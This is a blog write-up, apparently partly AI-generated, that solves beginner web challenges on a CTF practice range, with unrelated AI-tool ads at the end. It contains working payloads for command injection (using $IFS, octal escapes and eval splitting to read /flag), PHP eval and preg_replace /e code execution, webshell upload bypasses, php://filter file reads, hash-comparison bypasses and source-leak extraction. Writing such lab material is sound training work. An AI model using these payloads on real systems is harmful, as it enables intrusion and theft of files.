青岑web入门学习wp

靶场介绍:

最近我等于刷到一个新靶场挺好玩的

新搭建的,对新手很友好,这里推荐给大家

https://ctf.qingcen.net/

还可以加入群聊和师傅们一起交流,进步

快哉,快哉

本篇博客的知识点来源ai or 大佬的博客(我会放链接的)

ai成分高,望大家原谅

1、basic:

总结:先看源码和抓包,再找注入点和逻辑问题,最后构造 payload 拿 flag。多做题、多总结,就能形成自己的做题节奏。

直接f12得到flag:

flag{56abffc9-f44f-4c90-a8a4-9fc66954ebfb}

2、BASIC_1

我们查看f12发现被封了

一样查看源码得到flag:

flag{b997595d-f02c-4f3b-857b-c22433293d3e} 

3、basic_2

抓取提交的包

发现无论提交什么内容is_admin一直为0

修改is_admin

得到flag

4、basic_3

查看源码

放到控制台运行,得到密码

得到flag

5、basic_4

继续看源码

var _0 = [81, 67, 67, 84, 70, 95, 86, 73, 80, 95, 50, 48, 50, 54];

就是邀请码

我们需要把_0转换成字符串得到

QCCTF_VIP_2026

得到flag

basic_5

直接看源码逻辑发现

积分(currentScore)的计算完全是在前端(浏览器里)进行的。服务器并不知道你到底答了几道题,它只看你最后点击“领取奖励”时发送过去的 score 是多少。

虽然提交时调用了 encryptData{ score: currentScore } 进行了加密(本质上是 Base64 编码 + URL 编码),并且服务器返回的数据也用同样的方式加密了,但加密和解密函数都在前端代码里,并且是全局可见的

// 直接调用页面原本的加密函数,伪造 1000 积分发送给后端 fetch('/claim', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ data: encryptData({ score: 1000 }) }), }) .then(res => res.json()) .then(res => { if (res.data) { // 调用页面原本的解密函数查看结果 const result = decryptData(res.data); console.log("🎉 成功拿到 Flag: ", result); alert("Flag是: \n" + result.flag); } else { console.log("❌ 请求失败或未返回数据: ", res); } }) .catch(err => console.error("发生错误: ", err));

得到flag

或者使用自动做题脚本

// 设置一个定时器,每隔 50 毫秒执行一次答题循环 let autoAnswerInterval = setInterval(function() { // 1. 获取当前分数 let currentScore = parseInt(document.getElementById('score-num').innerText); // 2. 判断是否达到 1000 分 if (currentScore >= 1000) { clearInterval(autoAnswerInterval); // 停止定时器 console.log("🎉 分数已达到 1000!正在自动点击领取奖励..."); document.getElementById('claim-btn').click(); // 触发领取按钮 return; } // 3. 读取屏幕上的题目 (例如:"13 - 11 = ?") let questionText = document.getElementById('question-text').innerText; // 4. 提取算式并计算 (去掉末尾的 " = ?") let mathExpression = questionText.replace(' = ?', ''); let answer = eval(mathExpression); // 5. 将计算出的答案填入输入框 document.getElementById('answer-input').value = answer; // 6. 点击提交按钮 document.getElementById('submit-answer-btn').click(); // 控制台打印进度(可选,如果嫌吵可以删掉这一行) console.log(`当前进度: ${currentScore}/1000 | 刚刚解答: ${questionText.replace('?', answer)}`); }, 50); // 50毫秒答一题,大约50秒就能答完1000题。如果觉得太快或卡顿,可以把 50 改成 100 或 200。
import requests import json import base64 # 替换成你当前的实际题目地址和端口 TARGET_URL = "http://docker.qingcen.net:38964/claim" def get_flag(): # 1. 构造我们需要伪造的满分数据 payload = {"score": 1000} # 2. 将字典转换为紧凑的 JSON 字符串 (类似前端的 JSON.stringify) json_str = json.dumps(payload, separators=(',', ':')) # 3. 模拟前端的加密逻辑:btoa(unescape(encodeURIComponent(jsonString))) # 在 Python 中,直接将字符串转为 utf-8 字节流,然后进行 base64 编码即可完美等效! encrypted_bytes = base64.b64encode(json_str.encode('utf-8')) encrypted_data = encrypted_bytes.decode('utf-8') print(f"[*] 正在发送伪造的 1000 分请求...\n[*] 加密 payload: {encrypted_data}") # 4. 发送 POST 请求给后端 headers = {'Content-Type': 'application/json'} data = {"data": encrypted_data} try: response = requests.post(TARGET_URL, headers=headers, json=data) res_json = response.json() # 5. 模拟前端的解密逻辑并提取 Flag if "data" in res_json: # 对应前端的 decryptData(encodedString) dec_bytes = base64.b64decode(res_json["data"]) dec_str = dec_bytes.decode('utf-8') result = json.loads(dec_str) if "flag" in result: print("\n🎉 成功拿到 Flag!") print("-" * 30) print(result["flag"]) print("-" * 30) else: print(f"[-] 未找到 Flag,服务器返回: {result}") else: print(f"[-] 请求失败或服务器返回异常: {res_json}") except Exception as e: print(f"[-] 发生错误: {e}") if __name__ == "__main__": get_flag()

EZ_PHP

要求是a能通过if的判断,而且要等于0

b要求不是数字而且需要大于2026

/?a=abc&b=3333as

得到flag

ezphp_1

思路很清晰,我们 需要get方法来传入qc,把我传入的 JSON 字符串解析成 PHP 数组

在数组中寻找 "QCCTF" 这个值,并返回它的键名 (索引),然后索引需要是1

JSON 字符串本质上就是一个符合特定语法规则的普通字符串。它的核心规则非常简单,主要由以下几种结构组成:

1. 基本语法规则

  • 数据在名称/值对中:也就是键值对(Key-Value pairs)。
  • 数据由逗号 , 分隔
  • 大括号 {} 保存对象(Object)
  • 中括号 [] 保存数组(Array)
  • 双引号 "":在 JSON 中,所有的键名(Key)和字符串类型的值(Value)都必须使用双引号,绝对不能使用单引号。

2. JSON 支持的数据类型(值)

JSON 的值(Value)只能是以下几种数据类型:

  • 字符串 (String):必须用双引号括起来,如 "hello"
  • 数字 (Number):整数或浮点数,如 1233.14
  • 对象 (Object):用 {} 括起来的键值对集合。
  • 数组 (Array):用 [] 括起来的有序值集合。
  • 布尔值 (Boolean)truefalse(不要加引号)。
  • 空值 (Null)null(不要加引号)。

ezphp_2

在 PHP 中,任何非空字符串跟布尔值 true 进行弱比较时,结果都是相等的(即 "QCyyds" == true 会判定为真)。但是,它们在强类型比较时是绝对不相等的(字符串不等于布尔值)

<?php show_source(__FILE__); // 在页面上显示这行代码本身 include("flag.php"); // 引入包含真实 flag 的文件,此时 $flag 变量已被赋值 // 【关卡 1】检查参数是否存在 if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no"); // 解释:通过 GET 请求获取名为 'qc' 的参数。如果没传这个参数,或者传了空值,就退出并输出 "no"。 // 【数据处理】解析 JSON 并强制转为数组 $qc = (array)json_decode($_GET['qc'], true); // 解释:把你传进来的 'qc' 参数当做 JSON 字符串来解析,转成 PHP 的数组赋值给 $qc。 // 【关卡 2】寻找 "QCCTF" if (array_search("QCCTF", $qc) === false) die("no..."); // 解释:在 $qc 这个数组的第一层里找,必须包含 "QCCTF" 这个字符串。找不到就死掉并输出 "no..."。 // 【关卡 3】寻找 "QCyyds"(关键漏洞点) if (array_search("QCyyds", $qc["n"]) === false) die("no..."); // 解释:在 $qc 数组里面,必须有一个键名为 "n" 的子数组。在这个子数组里,必须能找到 "QCyyds"。找不到就输出 "no..."。 // 【关卡 4】遍历检查(死胡同?) foreach ($qc["n"] as $val) { if ($val === "QCyyds") die("no......"); } // 解释:把 $qc["n"] 里的元素挨个拿出来检查,如果遇到哪个元素**完全等于** "QCyyds",就死掉并输出 "no......"。 echo $flag; // 如果以上所有关卡都通过,输出 Flag!

在 PHP 的 json_decode 函数中,第二个参数 true 是一个非常关键的设置。

它的作用是:强制将解析后的 JSON 数据转换成 PHP 的“关联数组(Associative Array)”,而不是“PHP 对象(Object)”。

1. 如果加上 true(题目中的情况)

PHP

$result = json_decode('{"name": "QCCTF", "score": 100}', true); 

这时候,PHP 会把它变成一个数组。 你要获取里面的值,必须使用数组的语法(中括号)

  • 获取名字:$result['name']
  • 获取分数:$result['score']

2. 如果不加 true(默认情况)

PHP

$result = json_decode('{"name": "QCCTF", "score": 100}'); 

这时候,PHP 会把它变成一个 stdClass 对象。 你要获取里面的值,必须使用对象的语法(箭头)

  • 获取名字:$result->name
  • 获取分数:$result->score
http://docker.qingcen.net:38987/?qc={%22A%22:%22QCCTF%22,%22n%22:[true]}

得到flag

ezmd5_1:

http://docker.qingcen.net:39005/?a=QNKCDZO&b=s214587387a

就是两个传入的数不能相同,但是md5值需要相同

ezmd5_2

/?a[]=2323&b[]=43

要求就是a和b的值不相等

但是MD5的值必须相等

数组绕过的特点:

报错并返回 NULL:因为 md5() 无法处理数组,它会抛出一个 Warning(警告),正如截图下方显示的:Warning: md5() expects parameter 1 to be string, array given...。最关键的是,报错后它会返回 NULL

ezmd5_3

像上一题一样用数组,不多解释了

注意这个就行了

强类型比较绝对不会自动转换数据类型(不会把它当成科学计数法)。它要求等号两边的值不仅类型要一样,内容必须一个字符不差地完全一样

  • md5('QNKCDZO') = "0e830400451993494058024219903391"
  • md5('240610708') = "0e462097431906509019562988736854"

因此我们用数组进行绕过

ezmd5_4

从倒数第 6 个字符开始,截取 6 个字符是d54e23

这种需要找特定 MD5 尾部(或头部)的题型,在 CTF 中非常常见,通常被称为工作量证明(PoW, Proof of Work)

因为 MD5 算法是不可逆的,我们只能用“暴力穷举”的方式,不断生成新的字符串去试,直到碰巧撞上最后 6 位是 d54e23 的那个。

import hashlib # 题目要求的尾部特征 target_suffix = 'd54e23' print(f"[*] 开始爆破,寻找 MD5 最后 6 位为 {target_suffix} 的字符串...") # 使用数字作为基础进行遍历,速度最快 i = 0 while True: # 将数字转换成字符串 test_str = str(i) # 计算 MD5 (注意要把字符串 encode 成 bytes 才能算) md5_hash = hashlib.md5(test_str.encode('utf-8')).hexdigest() # 截取最后 6 位进行比对 if md5_hash[-6:] == target_suffix: print(f"\n[+] 爆破成功!") print(f"[-] 满足条件的字符串 ($qc): {test_str}") print(f"[-] 它的完整 MD5 值为: {md5_hash}") break i += 1

ezmd5

因为是等于的弱判断,我们只要找一个md5的值为0的科学计数法的就行

http://docker.qingcen.net:39013/?QC=26120

得到flag

ezmd5_5:md5? sha1!!!


SHA-1 (Secure Hash Algorithm 1) 是一种跟 MD5 非常类似的密码散列函数(哈希算法)

简单来说,它的作用和 MD5 一样:你给它一段字符串,它经过复杂的数学运算后,吐出一串固定长度的乱码(SHA-1 输出的是 40 位的十六进制字符,而 MD5 是 32 位)。它同样具有不可逆的特性。

所以这道题我们可以使用数组,也可以使用魔术字符串

这里我直接提供两个经典的 SHA-1 魔术哈希字符串

  • 字符串1:aaroZmOk (它的 SHA-1 是 0e66507019969427134894567494305185566735
  • 字符串2:aaK1STfY (它的 SHA-1 是 0e76658526655756207688271159624026011393

ezmd5_6

因为数组直接报null所以我们还可以使用数组直接得到flag

/?a[]=12&b[]=2

ezsql_3

ezcmd

代码用了 escapeshellcmd() 来过滤你传入的 POST 参数。这个函数会转义 &, ;, | 等符号,所以你不能用它们来执行多条命令(比如 ls;cat flag)。

我们先查看根目录

发现有flag

于是查看flag,得到flag

ezcmd_1

我们首先分析php代码:其意思是帮助我们ping一个地址5次(我们传入的cmd值)

但是我们可以注意到,并没有任何绕过

这里没有任何过滤函数(没有 escapeshellcmd,也没有其他替换逻辑)。它就是简单粗暴地把你输入的 $cmd 拼在 ping -c 5 后面,然后交给系统执行!

怎么绕过?

在 Linux 系统中,有一条神级的规则:我们可以用特殊符号把多条命令串在一行里执行。 最常用的符号就是分号; (还有&&||)。

于是我们先看一下根目录的文件有哪些

可以看到flag,之后cat得到flag

ezcmd_2

system($cmd." >/dev/null 2>&1");

不难发现重点就在这里

后面的 >/dev/null 2>&1 是 Linux 里的重定向符。它的意思是:把这条命令产生的所有正常输出(1)和报错信息(2),统统扔进 /dev/null 这个系统的“无底洞”垃圾桶里

即  无回显 (Blind)

只要明白这个代码的作用这个题目也就简单了

我们只需要加个分号,使得传入的cmd后面的代码无效,也就解决了这个问题

  • ; 是命令分隔符。
  • # 是单行注释的符号。

这样思路和前面就一样了,找到flag的位置,然后cat直接读取flag

ezcmd_3

我们的重点代码不难看出就是

if (strpos($cmd, ' ') !== false) { die('no space allowed'); }

意思就是我们不能使用空格

使用重定向符 <(最简单,专门用来读文件)

在 Linux 中,你可以用 <文件内容输入给命令,这就巧妙地避开了空格。

  • 正常写法:cat /flag
  • 无空格写法:cat</flag

使用系统内置变量 $IFS(万能空格替代品)

$IFS(Internal Field Separator)是 Linux 系统的一个内置环境变量,它的默认值正好就是空格、制表符和换行符。只要在命令里写上它,系统执行时就会自动把它变成空格。

  • 正常写法:ls /cat /flag
  • 无空格写法:ls$IFS/cat${IFS}/flag(加 {} 是为了防止变量名和后面的字母粘连起冲突)
  • 只要是带参数的命令(比如 ls /): 只能用 $IFS 替代空格,例如 ls$IFS/
  • 如果是读取文件内容的命令(比如 cat /flag): 既可以用 $IFScat$IFS/flag),也可以用 < 输入重定向(cat</flag)。
  • < 的限制< 只能用来读取“文件”(File),不能用来读取“目录”(Directory)。/ 是个目录,所以 Shell 连第一步打开它都做不到,直接报错了。

但是在cat的时候你会发现什么反应都没有

别怀疑自己,你的 Payload cmd=cat$IFS/flag;cmd=cat</flag; 都是完全正确的!

下面是错误分析,可能是我插件出问题了,但是也是知识点就放在这了

可以直接到后面看flag

出题人把 cat 命令给删了(或禁用了)

当你执行 cat /flag 时,因为 cat 不存在,Linux 系统其实是报错了的(类似 sh: cat: command not found)。

但是! Linux 的输出分为“标准输出 (stdout)”和“标准错误 (stderr)”。

系统的报错信息默认走的是“标准错误”通道

而 PHP 的 system() 函数只负责把“标准输出”的内容打印到网页上

结果就是:报错信息被系统截留了,网页上什么也抓取不到,看起来就像是没有任何反应。

more / less:本来是用来分页看长文件的,但小文件它也会直接打印出来。

cmd=more$IFS/flag;cmd=more</flag;

tail:默认读取文件的最后 10 行。

cmd=tail$IFS/flag;cmd=tail</flag;

head:默认读取文件的前 10 行。

cmd=head$IFS/flag;cmd=head</flag;

nl:读取文件,并顺便给每行加上行号。

cmd=nl$IFS/flag;cmd=nl</flag;

taccat 的反向命令,把文件从最后一行倒着打印出来。(最常用、成功率最高的替代品!

cmd=tac$IFS/flag;cmd=tac</flag;

ezcmd_4

我的评价是一点都不可爱,很丑,很讨厌,吓我一跳

网页名字算是个提示,robots

成功到达

  • 使用 escapeshellcmd() 对输入进行转义。escapeshellcmd() 会在绝大多数 shell 特殊字符(如 $, \, ', ", ;, | 等)前面加上反斜杠 \ 强行转义
  • 使用 preg_match() 对转义后的字符串进行黑名单校验(忽略大小写 /i)。
  • 如果没有匹配到黑名单内容,则执行 system()

既然我们无法读取带有 flag 关键字的文件,那我们就直接打印系统当前的所有环境变量。

  • env 被过滤了。
  • printenv 包含了 env,也被过滤了。
  • 但是,exportset 这两个可以打印环境变量的命令,

好吧,环境变量里面没有flag,那说明flag还是藏在flag那个目录下

  • 过正则: 字符串是 eval a=fl;b=ag;dd if=/$a$b,里面没有出现 flag,也没有触发任何被 ban 的读文件命令。
  • 过转义: 经过 escapeshellcmd() 处理后,它变成了 eval a=fl\;b=ag\;dd if=/\$a\$b
  • 二次解析: bash 把这串字符丢给 eval 执行。eval 会去掉多余的转义符重新解析,最终实际执行的命令变回了完美的 a=fl; b=ag; dd if=/$a$b
  • 拿 Flag:dd 命令执行,将 /flag 的内容原封不动地输出在网页上。
  • eval:Bash 的内置命令。它的作用是接收后面的参数,把它们组合成一个字符串,然后再把这个字符串当做真正的 Shell 命令执行一次
  • a=fl;b=ag;:变量赋值。我们把敏感词 flag 拆成了两半,分别赋值给变量 ab。这样就完美绕过了正则中对 flag 关键字的拦截。
  • dd if=/$a$b:读取文件。dd 是 Linux 下的一个强大的数据复制和转换工具,这里利用 if=(input file)参数来指定输入文件。/$a$b 拼接后其实就是 /flag

ezcmd_5

?何意味?

字母都不让我用了

可以使用 $'\NNN' 的格式来表示一个字符,其中 NNN 是该字符的八进制 ASCII 码。 比如:c 的八进制是 143a141t164。 所以 $'\143\141\164' 在 Shell 眼里,就等于 cat

cmd=$'\143\141\164' $'\057\146\154\141\147\056\164\170\164'

ezcmd_6

我们首先打印出当前目录下文件

cat得到flag

ezcmd_7

GET方法,qc传入的值不能是flag

  • error_reporting(0);关闭 PHP 错误报告。这在 CTF 中很常见,目的是不让页面报出详细的错误信息,增加盲猜的难度。
  • if(isset($_GET['qc'])){ 检查 URL 中是否通过 GET 方法传入了名为 qc 的参数。比如你的 URL 长这样:http://.../?qc=xxx
  • $qc = $_GET['qc']; 将传入的参数值赋给变量 $qc
  • if(!preg_match("/flag/i", $qc)){这是本题的核心考点(黑名单过滤)。preg_match 是 PHP 的正则匹配函数。
    • /flag/i 匹配字符串 "flag"。
    • 后面的 i 表示大小写不敏感。也就是它会拦截 flag, FLAG, FlAg, fLaG 等所有大小写组合。
    • 前面的 ! 代表。所以这句代码的意思是:如果传入的 $qc不包含 "flag" 这个词(忽略大小写),才进入下一步。
  • eval($qc);漏洞触发点。 如果绕过了上面的过滤,这里就会把你传入的 $qc 字符串当作 PHP 代码直接执行

只要能看懂就很容易了,我们直接用*绕过,得到flag

ezcmd_8

这个就是把system给禁止了

既然不能用 system(),PHP 还有很多其他的系统命令执行函数,比如 passthru(), exec(), shell_exec() 或者是反引号 `

得到flag

ezcmd_9

又过滤了空格,我直接复制ai了

招式一:使用 PHP 原生函数(最优雅、最推荐)

不要忘了,你输入的内容是交给 eval() 当作 PHP 代码 来执行的。谁说一定要调用 Linux 系统命令去读文件呢?PHP 本身就自带了读取文件的函数,而调用这些函数是不需要空格的

  • Payload 1:?qc=show_source('flag');
  • Payload 2:?qc=readfile('flag');
  • 原理: 这两个都是 PHP 内置的读取文件并输出的函数。整个字符串里既没有 system,也没有空格,完美绕过正则!

招式二:继续使用“参数偷渡”大法(最万能)

我们上一题用过的方法在这里依然管用!因为正则过滤只针对 $_GET['qc'],不检查其他参数。我们只要保证 qc 里面没有空格和 system 即可。

  • Payload:?qc=eval($_GET['x']);&x=passthru('cat flag');
  • 原理:
    1. 你传给 qc 的是 eval($_GET['x']);。仔细看,这串代码里没有任何空格,也没有 system!顺利过关。
    2. 接下来 eval 去执行时,会抓取参数 x 的值。
    3. 参数 x 里的 passthru('cat flag'); 包含空格,但它并没有经过正则的检查,所以被成功执行。(注:这里用 passthruexec 替代了被禁用的 system)

招式三:利用 Linux 系统的空格替代符(进阶姿势)

如果你非要执着于执行系统命令,在 Linux 中其实有很多字符可以用来代替空格。最常见的是利用 ${IFS} (内部字段分隔符) 或者 < (输入重定向)。

  • Payload 1 (使用 ${IFS}):?qc=passthru('cat${IFS}flag');
  • Payload 2 (使用重定向 <):?qc=passthru('cat<flag');
  • 原理: 在 Linux 解释命令时,${IFS} 会被当作空格处理,< 会把 flag 文件的内容重定向给 cat 命令。这样我们在 PHP 层面就没有输入真正的空格字符,从而绕过了正则。

我尝试了前两个都没用,三才有用(这里才说是以为我不想一个人尝试浪费时间哈哈哈哈哈哈哈)

得到flag

ezcmd_10

这次题目把分号给过滤掉了

但是我们可以用?>对吧,毕竟它在php的最后

这里是flag.txt,所以我们直接用readfile就可以得出了,system也可以

ezcmd_11

鬼知道flag.php在哪,我们既然知道是flag.php文件,直接highlight

ezcmd_12函数套娃法

既然特殊符号都不能用了,那我们就使用函数套娃法

我们需要完成以下逻辑链条:

  1. 获取当前目录路径: 使用 getcwd() 函数,它会返回当前工作目录(比如 /var/www/html)。
  2. 读取目录里的文件列表: 使用 scandir() 函数。scandir(getcwd()) 会返回一个数组,里面包含了当前目录下的所有文件:['.', '..', 'flag.php', 'index.php']
  3. 提取出 flag.php 数组有了,怎么把 flag.php 单独取出来喂给读取函数呢?
    • 因为严格的 PHP 语法限制,很多提取数组元素的函数(比如 next()end())需要传入变量引用,直接嵌套会报错。
    • 终极黑科技: 我们先用 array_flip() 把数组的键和值反转,让文件名变成键名;然后再用 array_rand()随机抽取一个键名!
  4. 高亮显示文件: 最后套上我们熟悉的 show_source()

在 PHP 的官方设定里,show_source()highlight_file()完全等价的别名关系。它们的作用一模一样:都是把文件内容读取出来,并加上 HTML 语法高亮输出到网页上。

ezcmd_13

这是一道非常经典的 preg_replace 函数 /e 修饰符代码执行漏洞

在 PHP(5.5.0 以下版本)中,preg_replace/e 修饰符有一个极其危险的特性:它会把替换后的字符串作为 PHP 代码来执行。

我们先来详细分析一下这个php代码:

  • 三元运算符 (? :):前两行是在通过 GET 方式(也就是 URL 地址栏)获取你传过去的两个参数 restrisset() 是检查参数存不存在。翻译成大白话就是:“如果你在网址里传了 re,我就把它存进变量 $re 里;如果你没传,我就给它塞一个空字符串 ''。”对于 $str 同理。
  • 安全检查(if 语句):接着判断,如果 $re 或者 $str 任何一个是空的,就执行 highlight_file(__FILE__) 把当前页面的源代码打印出来给你看,然后 exit 退出程序。
  • 结论:这就是为什么你一打开网页,什么都不输入的时候,页面上会显示这些代码的原因。这也是在告诉你:必须要同时提供 restr 两个参数才能继续往下走。

/e 修饰符就藏在 preg_replace 的第一个参数里! 我们把第一个参数拼接一下看得更清楚:'/(' . $re . ')/ei'

  • 在正则表达式中,最外层的两个斜杠 //定界符,用来把正则规则包裹起来。
  • 斜杠中间的 (' . $re . ')匹配规则,它会把你传入的 $re 参数拼接到这里。
  • 定界符后面的字母就是修饰符:这里的 ei 就是修饰符。i 代表忽略大小写,而 e 就是传说中万恶之源的 eval(执行)修饰符!

preg_replace(规则, 替换成什么, 目标字符串) 这个函数原本的作用是:在“目标字符串”中寻找符合“规则”的部分,并把它“替换”掉。

结合这段代码,它的逻辑是: 在字符串 $str 中,寻找符合正则 $re 的内容,找到之后,把它放到第二个参数 'strtolower("\\1")' 里面替换掉(\\1 代表正则匹配到的第一组内容),最后 echo 打印出来

存在 /e 修饰符。当 PHP 发现有 /e 时,它不会把第二个参数当成普通的文本替换,而是把它当成 PHP 代码去执行!

Payload 是怎么生效的? 假设我们按照之前的思路传入:?re=.*&str={${system('ls')}}

  1. 代码把参数代入,第一个参数变成了 /(.*)/ei.* 是通配符,意思是匹配一切内容。
  2. 第二个参数是 'strtolower("\\1")'
  3. 第三个参数是 {${system('ls')}}
  4. 匹配开始:正则 .* 成功匹配到了整个字符串 {${system('ls')}},所以 \\1 的值变成了 {${system('ls')}}
  5. 准备替换:第二个参数变成了 strtolower("{${system('ls')}}")
  6. 致命一击:因为有 /e 修饰符,PHP 会把这句 strtolower(...) 当作代码执行。而在 PHP 的双引号字符串中,如果遇到 ${} 或者 {${}} 这种复杂变量解析语法,PHP 引擎会先执行大括号里面的函数,获取它的返回值!
  7. 于是,system('ls') 就这样被无情地执行了。
  • PHP 扫描到了 {${ ... }} 结构。
  • PHP 的规则是:遇到这种结构,必须先执行大括号里面最深处的代码,用它的结果来当作变量名!

在 PHP 中,strtolower 的全称可以理解为 "string to lower"(字符串转小写)

preg_replace 使用 /e 修饰符时,PHP 为了防止某些注入问题,会在将匹配到的结果(即你的 \1)替换到代码字符串之前,自动对结果执行一次 addslashes() 函数addslashes() 会在单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符前加上反斜杠进行转义

1. 以前为什么要加分号?(因为你在写“完整的句子”)

在正常的 PHP 代码或者 eval() 函数中,你输入的是一段完整的执行逻辑。 比如:system('ls'); 这就好比人类语言里的一个完整句子,分号 ; 就是句号。PHP 引擎看到分号,才知道:“哦,这行命令结束了,我去执行它。” 如果你写 eval("system('ls')")(不带分号),PHP 就会报错,因为它觉得你的话还没说完。

2. 为什么这里不能加分号?(因为你在写“填空题”)

回到我们现在的 Payload:strtolower("{${system($_GET[cmd])}}")

注意,system(...) 此时并不是作为一行独立的代码在运行,它是被包裹在双引号字符串的 {${ }} 结构里面的

PHP 对双引号里的 {${ }} 结构的解析规则是:

  • “请在括号里给我一个表达式(可以得出结果的短语),我会把它的结果当成变量名。”

在这个特定的结构里,PHP 期待的是一个“词”或“短语”(也就是函数调用的返回值),而不是一个“完整的句子”。

  • system($_GET[cmd]) 是一个表达式,它会去执行系统命令,并返回最后一行结果。这完全符合 PHP 的期待。
  • 如果你加上分号写成 {${system($_GET[cmd]);}},在 PHP 的字符串解析器看来,就相当于在填空题的格子里硬塞进了一个句号,这破坏了字符串变量解析的语法规则,PHP 解析器会直接不认识,抛出语法错误(Syntax Error)。

ezinfoleak

看到信息,base64解码

暴力穿越到根目录去找

得到flag

ezinfoleak_1

通过下面的显示可以看出,它吞掉了我们的../

于是我们写成....//,它吞掉我们中间的../我们前面和后面又拼成了../

ezinfoleak_2

ezinfoleak_4

dirsearch工具扫描一下

发现是.git 源码泄露漏洞

使用githack

GitHub - lijiejie/GitHack: A `.git` folder disclosure exploit · GitHub

得到flag

ezinfoleak_5

也是看烟花的页面

那估计思路还是差不多,先dirsearch扫描一下,感觉像.git泄露

然后发送个post请求就ok了(注意url后面把文件加上)

ezinfoleak_6

换成了管理系统的界面了,扫一下目录吧

发现是.svn 源码泄露

  • /.svn/entries (200 OK): 这是老版本 SVN 的特征文件,证明存在泄露。
  • /.svn/wc.db (200 OK, 120KB): 这是真正的“宝藏”。在较新版本的 SVN(1.7 及以上)中,wc.db 是一个 SQLite 数据库文件。它不仅记录了整个网站的目录结构、文件列表,其关联的目录中还直接包含了所有源代码的原始副本 (pristine copies)

如何使用 dvcs-ripper

dvcs-ripper 文件夹里有几个不同的脚本,对应不同的版本控制系统:

  • rip-git.pl:用于提取 .git 目录(最常用
  • rip-svn.pl:用于提取 .svn 目录
  • rip-hg.pl:用于提取 .hg (Mercurial) 目录
  • rip-bzr.pl:用于提取 .bzr (Bazaar) 目录

我们还原出了flag.php

ezinfoleak_7

Mercurial (hg) 和我们常听说的 Git 一样,都是一种版本控制系统,程序员用它来管理源代码的版本、提交记录和分支。

  • Git 生成的隐藏目录叫 .git/
  • Mercurial 生成的隐藏目录叫 .hg/

注意最后要加上 /.hg/

得到flag

ezinfoleak_8

查看源码

什么是 Vim 缓存文件泄露?

在 Linux 系统里,程序员经常使用 vim 这个命令行文本编辑器来写代码。 当 vim 打开一个文件(比如 flag.txt)时,为了防止电脑突然断电导致没保存,它会在同级目录下自动生成一个隐藏的临时备份文件(也叫交换文件 Swap file)

如果程序员是非正常退出 vim(比如直接关掉终端窗口,或者系统崩溃),这个隐藏的备份文件就会被遗留在服务器上。
对于文件 flag.txt,它的 Vim 缓存文件通常会被命名为: 👉 .flag.txt.swp

直接出flag

ezinfoleak_9

没思路,dirsearch跑一下看看吧

  • .DS_Store 是什么: 这是苹果 Mac 电脑系统特有的隐藏文件,用来记录文件夹的自定义属性。
  • 它为什么在这里: 说明写这个网站的程序员用的是 Mac 电脑,并且在把代码上传到服务器时,不小心把这个 Mac 自己生成的隐藏文件也传上去了
wget http://docker.qingcen.net:35334/.DS_Store

下载这个文件,然后用strings来读取

ezfu

上传文件,我们先上传一个get方法的一句话木马

之后通过get传参,打印环境(因为我看过根目录下没有线索了)

得到flag

ezfu_1

这个题目只能上传图片什么的,我们把我们的php文件改成jpg,然后抓包拦截

把文件后缀名改回php就行了,就能上传成功了

flag还是在环境中

ezfu_2

我们再上传刚刚的图片的时候,发现它这次检查内容了

我们在木马前加个gif的开头看看能不能骗过它

失败了

我们把后缀也改成gif发现可以上传成功,于是抓包

还是失败了

GIF 头伪造和欺骗 HTTP 数据包检查都失败了

我们尝试一下木马图

也失败了

那我们试试绕过吧

ezfl

在源码中得到线索

flag is in /flag.txt

得到flag

ezfl_1

?file=php://filter/read=convert.base64-encode/resource=flag.php
  • ?file=
    • 这是目标网页(比如你题目里的应用)接收输入的一个参数。后台代码可能使用了类似 include($_GET['file']); 的危险函数,并且没有对输入做严格过滤。
  • php://
    • 这是 PHP 提供的一个内置伪协议(Wrapper),用于访问各个输入/输出(I/O)流。
  • filter/
    • 这是 php:// 协议下的一个特定功能:数据流过滤器。它的作用是允许你在读取或写入数据流时,对数据进行处理(过滤或转换)。
  • read=
    • 指定接下来的过滤器将应用在读取操作上(即从目标文件中读取数据时)。
  • convert.base64-encode
    • 这是最核心的过滤器指令。它告诉 PHP 引擎:“请把你读取到的目标文件内容,先转换(编码)成 Base64 格式的字符串。”
  • /resource=
    • 语法上的分隔符,用来指示后面跟着的参数是要读取和过滤的目标对象路径
  • flag.php
    • 这就是你想读取的目标文件。

ezfl_2

?file=php://filter/convert.iconv.utf-8.utf-16/resource=flag.php

Read more

全网都在刷的 AI Skills 怎么用?别死磕 Claude Code,OpenCode 才是国内首选!

全网都在刷的 AI Skills 怎么用?别死磕 Claude Code,OpenCode 才是国内首选!

最近,“Skills”在AI圈子里太火了! 大家都在用它给 AI 加各种“buff”,让它自动写代码、做表格等等 但很多小伙伴看着 GitHub 上那些 Skills 兴奋不已,真到了本地想玩一把时,使用Claude code有很多不便的地方 之前就有很多小伙伴问我OpenCode,整好借着Skills,来聊聊OpenCode的安装部署和使用 很简单,不管你是想用图形界面还是命令行,这篇保姆级教程都能让你轻松上手! 咱们这就开始,带你入门OpenCode玩转 Skills! 目录: 1. 1. ✅ 如何下载安装OpenCode 2. 2. ✅ 如何安装和配置Skills 3. 3. ✅ 环境变量的设置方法 4. 4. ✅ 常用指令和操作技巧 5. 5. ✅ 遇到问题如何解决 6. 6. ✅ 如何创建自己的Skills  一、下载安装,超级简单 下载地址: https:

字节跳动AI IDE:Trae 完全上手指南——从零安装到熟练使用,开启AI驱动开发新范式

字节跳动AI IDE:Trae 完全上手指南——从零安装到熟练使用,开启AI驱动开发新范式

目录 * 前言:当IDE进化为智能体 * 1.初识Trae * 1.1 Trae是什么? * 1.2 Trae的核心优势 * 1.3 谁适合使用Trae? * 2.安装与初始配置 * 2.1 支持的操作系统 * 2.2 下载与安装步骤 * 2.3 验证安装成功 * 3.界面导航(五分钟熟悉布局) * 3.1 核心区域功能说明 * 3.2 常用快捷键速查 * 4.核心AI功能详解 * 4.1 Chat模式:随时提问的编程助手 * 4.2 Builder模式:自然语言生成完整项目 * 4.2.1 实战案例:做一个待办事项应用 * 4.

【企业级】RuoYi-Vue-Plus AI 智能开发助手 | Claude Code + Codex 双引擎 | 40+ 专业技能包 | 10 大快捷命令 | 开箱即用

【企业级】RuoYi-Vue-Plus AI 智能开发助手 | Claude Code + Codex 双引擎 | 40+ 专业技能包 | 10 大快捷命令 | 开箱即用

